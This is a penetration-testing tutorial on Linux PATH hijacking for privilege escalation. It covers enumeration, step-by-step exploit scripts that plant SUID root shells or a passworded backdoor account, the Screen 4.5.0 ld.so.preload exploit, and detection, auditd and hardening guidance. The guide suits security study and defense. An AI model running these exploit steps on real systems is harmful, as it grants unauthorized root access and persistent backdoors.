
Linux PATH Environment Variable Abuse for Privilege Escalation
Exploiting PATH environment variable misconfigurations on Linux for privilege escalation, with detection and hardening.
Introduction
The PATH environment variable lists the directories the shell searches for a command typed without a full path. It checks them left to right and runs the first match. That becomes a privilege escalation path when a privileged program (a SUID binary, a sudo-allowed script, a root cron job or service) calls a command by bare name and you control which directory gets searched first.
You get there in one of these ways:
- A directory in the privileged process's PATH is writable by you.
- PATH contains
.or another relative entry, and the program runs from a directory you control. - A SUID binary calls
system()orpopen()with a bare command name, and it inherits your PATH. - A sudo rule keeps your PATH (
env_keep += "PATH",SETENV, or!env_reset). - A root service or cron script relies on PATH lookups and its PATH includes a writable directory.
Why it still works
PATH hijacking has been documented since the early days of Unix and still turns up. Scripts carried over from old systems use bare command names, admins add ~/bin or . to root's PATH for convenience, and in-house SUID helpers call system("tar ..."). Containers and embedded devices often ship with loose defaults.
You need a local shell first. With one, a single bad PATH entry is usually enough to get from an unprivileged user to root.
Technical background
How PATH lookup works
PATH is a colon-separated list of directories:
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/gamesWhen you run ls, the shell searches:
First directory
Checks /usr/local/sbin/ls. If it exists and is executable, the shell runs it.
Second directory
If not, it checks /usr/local/bin/ls.
Third directory
Then /usr/sbin/ls.
Remaining directories
Then /usr/bin/ls, /sbin/ls and /bin/ls, stopping at the first match.
Not found
If no directory has it, the shell prints "command not found".
The first match wins. If you control a directory earlier in the list, you decide what any bare command name runs.
Safe and unsafe PATH settings
A safe PATH
# Secure system-wide PATH (typical)
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Characteristics:
# ✓ System directories only
# ✓ Root-owned directories (not writable by users)
# ✓ No current directory (.)
# ✓ No user home directories
# ✓ No world-writable directories (/tmp, /var/tmp)
# ✓ Absolute paths onlyRoot's PATH (from /etc/profile or ~/.bashrc):
# Root should have minimal, controlled PATH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binCheck it:
# Check directory permissions
echo $PATH | tr ':' '\n' | while read dir; do
ls -ld "$dir" 2>/dev/null
done
# Expected output (all root-owned, not world-writable):
# drwxr-xr-x 2 root root 4096 Jan 15 10:30 /usr/local/sbin
# drwxr-xr-x 2 root root 4096 Jan 15 10:30 /usr/local/binUnsafe PATH settings
# 1. Current directory at beginning (CRITICAL)
PATH=.:/usr/local/bin:/usr/bin:/bin
# 2. Current directory anywhere in PATH (VULNERABLE)
PATH=/usr/local/bin:.:/usr/bin:/bin
# 3. User home directory in PATH
PATH=/home/user/bin:/usr/local/bin:/usr/bin:/bin
# 4. World-writable directory in PATH
PATH=/tmp:/usr/local/bin:/usr/bin:/bin
# 5. Relative directory paths
PATH=../bin:./scripts:/usr/bin:/binWhy each one is a problem:
| Configuration | Risk | Exploitation |
|---|---|---|
. in PATH | High | Attacker places malicious binary in current dir, hijacks command |
| User directory first | Medium | Persistent backdoor in user-controlled location |
/tmp in PATH | High | Race condition attacks, temporary malicious binaries |
| Relative paths | Medium | Directory traversal, context-dependent exploitation |
| World-writable dirs | Critical | Any user can place malicious binaries |
SUID, sudo and PATH
A SUID binary runs with its owner's privileges (usually root) but keeps the caller's environment, PATH included. If it calls a command by bare name, your PATH decides what runs:
// Vulnerable SUID binary example
#include <stdlib.h>
int main() {
setuid(0); // Escalate to root
system("whoami"); // Calls /bin/sh to execute 'whoami'
// If PATH is malicious, executes attacker's 'whoami'
return 0;
}Sudo normally resets PATH (often to secure_path), but some sudoers configurations keep the user's:
# /etc/sudoers - VULNERABLE configuration
Defaults env_keep += "PATH"
# Or specific command with SETENV
user ALL=(ALL) SETENV: /usr/local/bin/backup.shWith either of these you set PATH yourself before running the allowed command.
Scripts without absolute paths
Scripts that call commands by bare name are exposed:
# Vulnerable script: /usr/local/bin/backup.sh (SUID root)
#!/bin/bash
echo "Starting backup..."
tar czf /backups/data.tar.gz /data/
gzip /backups/data.tar.gz
rm /tmp/temp_files
# Uses relative commands: tar, gzip, rmIf you can set the PATH this script runs with as root, you choose what tar, gzip and rm are.
Detection and enumeration
Check the current PATH
# Display current PATH
echo $PATH
# Display PATH with each directory on separate line
echo $PATH | tr ':' '\n'
# Check for dangerous PATH elements
echo $PATH | grep -E '\.|/tmp|/var/tmp' && echo "VULNERABLE PATH DETECTED"
# Show PATH for different users
sudo -u root echo $PATH
sudo -u www-data echo $PATH
# Check system-wide PATH settings
grep -r "^PATH=" /etc/profile /etc/profile.d/ /etc/environment ~/.bashrc ~/.bash_profile 2>/dev/nullSUID binaries that use relative paths
Find SUID binaries that call commands by bare name:
# Method 1: Find all SUID binaries
find / -type f -perm -4000 -ls 2>/dev/null
# Method 2: Find SUID binaries and check for relative command usage
find / -type f -perm -4000 2>/dev/null | while read binary; do
# Use strings to search for commands without absolute paths
strings "$binary" 2>/dev/null | grep -E '^[a-z]{2,}$' | grep -v '^lib' | head -n 5
if [ $? -eq 0 ]; then
echo "Potential vulnerable binary: $binary"
fi
done
# Method 3: Focus on custom SUID binaries (non-system)
find / -type f -perm -4000 2>/dev/null | grep -v -E '^/(bin|sbin|usr/bin|usr/sbin|usr/local/bin|usr/local/sbin)' | while read binary; do
echo "[*] Checking: $binary"
strings "$binary" | grep -E '^(ls|cat|echo|cp|mv|rm|tar|gzip|curl|wget|nc|sh|bash)$'
done
# Method 4: Check SUID binaries for system() calls
find / -type f -perm -4000 2>/dev/null | xargs file | grep "ELF" | cut -d: -f1 | xargs -I {} sh -c 'ltrace -e system {} 2>&1 | grep -q system && echo "system() call in: {}"'Sudo configuration
# Check sudo version (older versions have more vulnerabilities)
sudo --version
# List sudo privileges for current user
sudo -l
# Look for env_keep configurations
sudo -l | grep -i env_keep
sudo -l | grep -i setenv
# Check sudoers file for dangerous configurations
sudo cat /etc/sudoers | grep -E "env_keep|SETENV|!env_reset"
# Check sudoers.d directory
sudo ls -la /etc/sudoers.d/
sudo cat /etc/sudoers.d/* 2>/dev/null | grep -E "env_keep|SETENV"
# Test if PATH is preserved with sudo
sudo env | grep PATHScripts with relative paths
# Find scripts called by SUID binaries or sudo
find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null | xargs -I {} sh -c 'file {} | grep -q "script" && echo {}'
# Check specific script for relative command usage
check_script() {
script="$1"
echo "[*] Analyzing: $script"
grep -nE '^\s*(ls|cat|echo|cp|mv|rm|tar|gzip|curl|wget|nc|sh|bash|awk|sed|grep|find|sort|uniq)\s' "$script" | head -n 10
}
# Usage
check_script /usr/local/bin/backup.sh
# Find all shell scripts in /usr/local/bin
find /usr/local/bin -type f -executable | while read script; do
file "$script" | grep -q "shell script" && check_script "$script"
doneAutomated enumeration
# LinPEAS - Linux Privilege Escalation Awesome Script
# Download from: https://github.com/carlospolop/PEASS-ng/releases
# Basic execution
./linpeas.sh
# Focus on PATH-related checks
./linpeas.sh | grep -A 20 "PATH"
# Output includes:
# [+] PATH
# [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-path-abuses
# /home/user/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# New path exported: /home/user/bin
# [!] /home/user/bin is writable
# Check for vulnerable SUID binaries
./linpeas.sh | grep -A 30 "SUID"Exploitation
Basic PATH hijacking
The basic technique:
Find a target
Find a SUID binary or sudo-allowed command that calls something by bare name.
Create the fake command
Write a script with the same name as the command it calls.
Change PATH
Put your directory at the front of PATH.
Trigger it
Run the SUID binary or sudo command.
Check the result
Confirm you have root.
Full example:
# Scenario: Vulnerable SUID binary /usr/local/bin/backup
# The binary calls 'tar' without an absolute path
# Step 1: Verify vulnerability
strings /usr/local/bin/backup | grep tar
# Output: tar czf /backups/data.tar.gz
# Step 2: Check SUID permissions
ls -la /usr/local/bin/backup
# -rwsr-xr-x 1 root root 16384 Jan 15 10:30 /usr/local/bin/backup
# Step 3: Create malicious 'tar' binary
cd /tmp
cat > tar << 'EOF'
#!/bin/bash
# Malicious tar replacement
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
# Optionally call real tar to avoid suspicion
/bin/tar "$@"
EOF
chmod +x tar
# Step 4: Modify PATH
export PATH=/tmp:$PATH
# Step 5: Execute vulnerable binary
/usr/local/bin/backup
# Step 6: Verify exploitation
ls -la /tmp/rootbash
# -rwsr-sr-x 1 root root 1234567 Jan 15 11:00 /tmp/rootbash
# Step 7: Get root shell
/tmp/rootbash -p
# Verify root access
id
# uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),1000(user)
whoami
# rootHijacking through sudo
When the sudo rule keeps your environment:
# Step 1: Check sudo permissions
sudo -l
# Output example:
# User user may run the following commands:
# (root) SETENV: /usr/local/bin/maintenance.sh
# Step 2: Analyze the script
cat /usr/local/bin/maintenance.sh
#!/bin/bash
echo "Running maintenance..."
service apache2 restart
systemctl status mysql
netstat -tulpn
# Uses relative commands: service, systemctl, netstat
# Step 3: Create malicious 'service' binary
mkdir /tmp/evil
cat > /tmp/evil/service << 'EOF'
#!/bin/bash
# Malicious service hijack
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
chmod +s /tmp/rootbash
# Call real service to maintain stealth
/usr/sbin/service "$@"
EOF
chmod +x /tmp/evil/service
# Step 4: Execute with modified PATH
sudo PATH=/tmp/evil:$PATH /usr/local/bin/maintenance.sh
# Step 5: Get root shell
/tmp/rootbash -p
id
# uid=1000(user) gid=1000(user) euid=0(root) groups=0(root),1000(user)Python scripts
Python scripts that run shell commands by bare name are hijackable the same way:
# Vulnerable Python script (SUID root): /usr/local/bin/process_data.py
#!/usr/bin/env python3
import os
import subprocess
def main():
print("Processing data...")
# Vulnerable: uses shell=True with relative path
subprocess.call("wget http://example.com/data.txt", shell=True)
subprocess.call("gzip data.txt", shell=True)
os.system("rm -f /tmp/temp_*")
if __name__ == "__main__":
main()
# Exploitation:
# Create malicious 'wget'
cat > /tmp/wget << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
# Execute real wget
/usr/bin/wget "$@"
EOF
chmod +x /tmp/wget
# Modify PATH and execute
export PATH=/tmp:$PATH
/usr/local/bin/process_data.py
# Get root shell
/tmp/rootbash -pPerl scripts
# Vulnerable Perl script (SUID root): /usr/local/bin/log_analyzer.pl
#!/usr/bin/perl
system("cat /var/log/syslog | grep ERROR");
system("tar czf /backups/logs.tar.gz /var/log/*");
# Exploitation:
cat > /tmp/cat << 'EOF'
#!/bin/bash
echo "[+] Hijacked cat command"
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
# Execute real cat
/bin/cat "$@"
EOF
chmod +x /tmp/cat
export PATH=/tmp:$PATH
/usr/local/bin/log_analyzer.pl
/tmp/rootbash -pShell function hijacking
Bash imports exported functions from the environment, and a function takes priority over a command with the same name. That only helps when your environment reaches a bash that runs as root. Linux ignores the SUID bit on scripts, and bash does not import functions when its real and effective UIDs differ. The usual way in is a SUID root wrapper binary that calls setuid(0) and then execs the script directly: real and effective UID are both 0 by the time bash starts, so it imports your functions. A wrapper that goes through system() on a host where /bin/sh is dash does not work, because dash drops the BASH_FUNC_* variables.
# Vulnerable script: /usr/local/bin/system_check.sh
# Run through /usr/local/bin/system_check, a SUID root wrapper that calls setuid(0) and execs it
#!/bin/bash
check_disk() {
df -h
du -sh /var/log
}
check_processes() {
ps aux | grep apache
}
main() {
check_disk
check_processes
}
main
# Exploitation via function override:
# Create malicious wrapper
cat > /tmp/wrapper.sh << 'EOF'
#!/bin/bash
# Override functions before sourcing
df() {
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
/bin/df "$@"
}
export -f df
# Execute the SUID wrapper
/usr/local/bin/system_check
EOF
chmod +x /tmp/wrapper.sh
/tmp/wrapper.sh
/tmp/rootbash -pScenarios
Scenario 1: Screen 4.5.0 SUID logfile write (ld.so.preload, not PATH abuse)
An old one (CVE-2017-5618). It is here because it shows up next to PATH abuse in SUID enumeration, but the bug is a file write: SUID screen 4.5.0 opens its log file as root without checking permissions, so you can use it to write /etc/ld.so.preload and load your library into the next SUID program. Library preloading itself is covered in Shared Object Hijacking.
# Vulnerable: Screen 4.5.0 with SUID bit
# Root-owned logfile write into /etc/ld.so.preload
# Check Screen version and permissions
screen --version
ls -la /usr/bin/screen
# If SUID and vulnerable version:
cd /tmp
cat > rootshell << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x rootshell
# Create malicious library path
cat > libhax.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void init(void) {
setuid(0);
setgid(0);
unlink("/etc/ld.so.preload");
system("/tmp/rootshell");
}
EOF
gcc -fPIC -shared -o /tmp/libhax.so /tmp/libhax.c -ldl
# Exploit
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
# Trigger: run any SUID root program so the preloaded library runs as root
screen -ls
/tmp/rootbash -pScenario 2: Custom backup scripts
A pattern that comes up on internal tests:
# Vulnerable script: /usr/local/sbin/daily_backup.sh (SUID root)
#!/bin/bash
# Daily backup script
LOG_FILE="/var/log/backup.log"
echo "Starting backup at $(date)" >> $LOG_FILE
tar czf /backups/home_$(date +%Y%m%d).tar.gz /home/
mysqldump --all-databases | gzip > /backups/mysql_$(date +%Y%m%d).sql.gz
echo "Backup completed" >> $LOG_FILE
# Exploitation:
mkdir /tmp/exploit
cd /tmp/exploit
# Create malicious 'date' command
cat > date << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
/bin/date "$@"
EOF
chmod +x date
# Execute with modified PATH
PATH=/tmp/exploit:$PATH /usr/local/sbin/daily_backup.sh
# Access root shell
/tmp/rootbash -pScenario 3: Web application maintenance scripts
# Vulnerable: Web server maintenance script called via sudo
# /usr/local/bin/web_restart.sh
#!/bin/bash
service nginx stop
service apache2 stop
rm -rf /var/cache/nginx/*
service apache2 start
service nginx start
# Sudoers entry:
# www-data ALL=(ALL) NOPASSWD: /usr/local/bin/web_restart.sh
# Exploitation from www-data user (e.g., via web shell):
mkdir /tmp/exploit
cat > /tmp/exploit/service << 'EOF'
#!/bin/bash
# Add backdoor user
useradd -m -s /bin/bash -G sudo backdoor
echo "backdoor:P@ssw0rd123" | chpasswd
# Execute real service
/usr/sbin/service "$@"
EOF
chmod +x /tmp/exploit/service
# Execute with modified PATH
sudo PATH=/tmp/exploit:$PATH /usr/local/bin/web_restart.sh
# Login as backdoor user
su - backdoor
sudo -iDetection and monitoring
Runtime PATH monitoring
# Monitor PATH changes in real-time
#!/bin/bash
BASELINE_PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
while true; do
for user in $(who | awk '{print $1}' | sort -u); do
USER_PATH=$(sudo -u "$user" bash -c 'echo $PATH' 2>/dev/null)
if [ "$USER_PATH" != "$BASELINE_PATH" ]; then
echo "[!] $(date): Anomalous PATH for user $user"
echo " Expected: $BASELINE_PATH"
echo " Actual: $USER_PATH"
logger "SECURITY: Anomalous PATH detected for user $user: $USER_PATH"
fi
done
sleep 60
doneAuditd rules for PATH manipulation
# Add auditd rules to monitor PATH-related activity
# Monitor SUID binary execution
auditctl -a always,exit -F arch=b64 -S execve -F euid=0 -F auid!=0 -k suid_exec
# Monitor /etc/environment modifications
auditctl -w /etc/environment -p wa -k path_modification
# Monitor profile script modifications
auditctl -w /etc/profile -p wa -k path_modification
auditctl -w /etc/profile.d/ -p wa -k path_modification
auditctl -w /etc/bash.bashrc -p wa -k path_modification
# Monitor sudo executions with environment changes
auditctl -a always,exit -F arch=b64 -S execve -F auid!=0 -F key=sudo_exec
# View audit logs
ausearch -k path_modification
ausearch -k suid_execLog analysis
# Search for suspicious PATH modifications in logs
grep -r "PATH=" /var/log/ | grep -E "\./|/tmp/|/var/tmp/"
# Check for SUID binary execution anomalies
find / -type f -perm -4000 2>/dev/null | while read binary; do
grep "$(basename $binary)" /var/log/auth.log /var/log/syslog 2>/dev/null
done
# Monitor for suspicious command execution locations
grep -E "(/tmp/|/var/tmp/|/home/.*/).*(bash|sh|python|perl)" /var/log/syslog /var/log/auth.logFile integrity monitoring
# Create baseline of SUID binaries
find / -type f -perm -4000 2>/dev/null | while read binary; do
md5sum "$binary"
done > /var/security/suid_baseline.txt
# Periodic integrity check
#!/bin/bash
BASELINE="/var/security/suid_baseline.txt"
CURRENT="/tmp/suid_current.txt"
find / -type f -perm -4000 2>/dev/null | while read binary; do
md5sum "$binary"
done > "$CURRENT"
# Compare
diff "$BASELINE" "$CURRENT" > /tmp/suid_changes.txt
if [ -s /tmp/suid_changes.txt ]; then
echo "[!] SUID binary changes detected!"
cat /tmp/suid_changes.txt
mail -s "SUID Binary Changes" security@company.com < /tmp/suid_changes.txt
fiMitigation and hardening
Safe PATH configuration
# System-wide secure PATH configuration
# /etc/profile
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# /etc/bash.bashrc
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
export PATH
# /etc/environment
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Verify no current directory in PATH
if echo "$PATH" | grep -qE '(^|:)\.'; then
echo "ERROR: Current directory in PATH" >&2
PATH=$(echo "$PATH" | sed 's/:\.:/:/g' | sed 's/^\.://g' | sed 's/:\.$//')
fiHardening SUID binaries
# Remove unnecessary SUID bits
find / -type f -perm -4000 2>/dev/null | while read binary; do
# Review and remove SUID if not required
echo "Review: $binary"
done
# Example removals (verify before executing):
chmod u-s /usr/bin/newgrp
chmod u-s /usr/bin/chage
chmod u-s /usr/bin/gpasswd
# Restrict access to necessary SUID binaries
chmod 750 /usr/bin/passwd
chmod 750 /usr/bin/sudoWriting safer scripts
# Best practices for privileged scripts
#!/bin/bash
# 1. Set secure PATH at script start
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 2. Use absolute paths for all commands
/bin/echo "Starting process..."
/usr/bin/tar czf /backup/data.tar.gz /data/
/bin/gzip /backup/data.tar.gz
/bin/rm -f /tmp/temp_files
# 3. Validate environment
if [[ "$PATH" =~ \.|/tmp ]]; then
/bin/echo "Insecure PATH detected. Exiting." >&2
exit 1
fi
# 4. Use command -v to verify binary locations
REQUIRED_CMDS=("tar" "gzip" "rm")
for cmd in "${REQUIRED_CMDS[@]}"; do
if ! /usr/bin/command -v "$cmd" > /dev/null 2>&1; then
/bin/echo "Required command not found: $cmd" >&2
exit 1
fi
done
# 5. Drop privileges when possible
if [ "$EUID" -eq 0 ]; then
# Run non-privileged operations as unprivileged user
/bin/su -s /bin/bash -c '/usr/bin/command' nobody
fiSudo hardening
# Secure sudoers configuration
# /etc/sudoers
# Always reset environment
Defaults env_reset
# Define secure PATH for sudo
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Do not preserve user's PATH
Defaults !env_keep
# Prevent SETENV abuse
Defaults !setenv
# Specific user permissions (use absolute paths)
user ALL=(ALL) NOPASSWD: /usr/local/bin/maintenance.sh
# Audit sudo usage
Defaults log_output
Defaults!/usr/bin/sudoreplay !log_outputFile system hardening
# Restrict permissions on common exploitation directories
# Remove world-write from /tmp (if possible)
chmod 1777 /tmp # Sticky bit prevents deletion by others
# Restrict /usr/local/bin
chown root:root /usr/local/bin
chmod 755 /usr/local/bin
# Verify system directories are not writable
for dir in /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin; do
current_perms=$(stat -c %a "$dir")
if [ "$current_perms" != "755" ]; then
echo "[!] Incorrect permissions on $dir: $current_perms"
chmod 755 "$dir"
fi
done
# Enable protected symlinks
echo 1 > /proc/sys/fs/protected_symlinks
# Make permanent: echo "fs.protected_symlinks = 1" >> /etc/sysctl.conf
# Enable protected hardlinks
echo 1 > /proc/sys/fs/protected_hardlinks
# Make permanent: echo "fs.protected_hardlinks = 1" >> /etc/sysctl.confReferences
MITRE ATT&CK techniques
- T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable - Primary PATH abuse technique
- T1574 - Hijack Execution Flow - Parent technique
- T1059.004 - Command and Scripting Interpreter: Unix Shell - Shell execution via PATH hijacking
Other resources
- CWE-426 - Untrusted Search Path - Common Weakness Enumeration
- GTFOBins - Unix binaries exploitation reference
- HackTricks: PATH Hijacking - Exploitation guide
Next steps
- Cron Job Abuse: PATH hijacking against root cron jobs
- Sudo Misconfigurations: sudo rules that keep the environment
Logrotate Exploitation
Guide to exploiting logrotate misconfigurations for privilege escalation using race conditions and the logrotten exploit.
Linux Privileged Groups: Abusing Group Memberships for Root Access
Exploiting privileged Linux group memberships including Docker, LXD, disk, adm, and other high-risk groups for privilege escalation and system compromise.